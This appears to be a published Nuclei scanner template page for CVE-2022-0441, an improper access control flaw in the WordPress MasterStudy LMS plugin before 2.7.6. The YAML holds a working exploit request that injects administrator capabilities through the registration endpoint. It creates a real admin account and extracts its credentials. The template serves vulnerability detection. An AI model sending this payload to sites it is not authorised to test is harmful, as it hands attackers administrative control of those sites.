MasterStudy LMS <2.7.6 - Improper Access Control

ID: CVE-2022-0441

Severity: critical

Author: dwisiswant0,theamanrawat

Tags: cve2022,cve,wordpress,wp-plugin,wpscan,wp,unauth,stylemixthemes

Description

WordPress MasterStudy LMS plugin before 2.7.6 is susceptible to improper access control. The plugin does not validate some parameters given when registering a new account, which can allow an attacker to register as an admin, thus potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.

YAML Source

id: CVE-2022-0441

info:
  name: MasterStudy LMS <2.7.6 - Improper Access Control
  author: dwisiswant0,theamanrawat
  severity: critical
  description: |
    WordPress MasterStudy LMS plugin before 2.7.6 is susceptible to improper access control. The plugin does not validate some parameters given when registering a new account, which can allow an attacker to register as an admin, thus potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive information, potentially compromising user data and system integrity.
  remediation: |
    Upgrade to the latest version of the MasterStudy LMS plugin (2.7.6 or higher) to fix the improper access control issue.
  reference:
    - https://wpscan.com/vulnerability/173c2efe-ee9c-4539-852f-c242b4f728ed
    - https://wordpress.org/plugins/masterstudy-lms-learning-management-system/
    - https://plugins.trac.wordpress.org/changeset/2667195
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0441
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0441
    cwe-id: CWE-269,NVD-CWE-Other
    epss-score: 0.18749
    epss-percentile: 0.95799
    cpe: cpe:2.3:a:stylemixthemes:masterstudy_lms:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: stylemixthemes
    product: masterstudy_lms
    framework: wordpress
  tags: cve2022,cve,wordpress,wp-plugin,wpscan,wp,unauth,stylemixthemes
variables:
  username: "{{to_lower(rand_text_alphanumeric(6))}}"
  password: "{{rand_text_alphanumeric(12)}}"
  user_email: "{{username}}@{{to_lower(rand_text_alphanumeric(6))}}.com"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wp-admin/admin-ajax.php?action=stm_lms_register&nonce={{nonce}} HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Content-Type: application/json

        {"user_login":"{{username}}","user_email":"{{user_email}}","user_password":"{{password}}","user_password_re":"{{password}}","become_instructor":"","privacy_policy":true,"degree":"","expertize":"","auditory":"","additional":[],"additional_instructors":[],"profile_default_fields_for_register":{"wp_capabilities":{"value":{"administrator":1}}}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - 'Registration completed successfully'
          - '"status":"success"'
        condition: and

      - type: word
        part: header_2
        words:
          - application/json;

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - '"stm_lms_register":"([0-9a-z]+)"'
        internal: true

      - type: kval
        kval:
          - user_email
          - password
# digest: 4a0a00473045022100de04257b64828fea8d5aae56b0011808c9acef595cce49810aef0020a55aa0f9022023566b7e3ada57f0617b3d1cdc43a5a7cfde95c87341a5f79ec695b70094584e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-0441.yaml"

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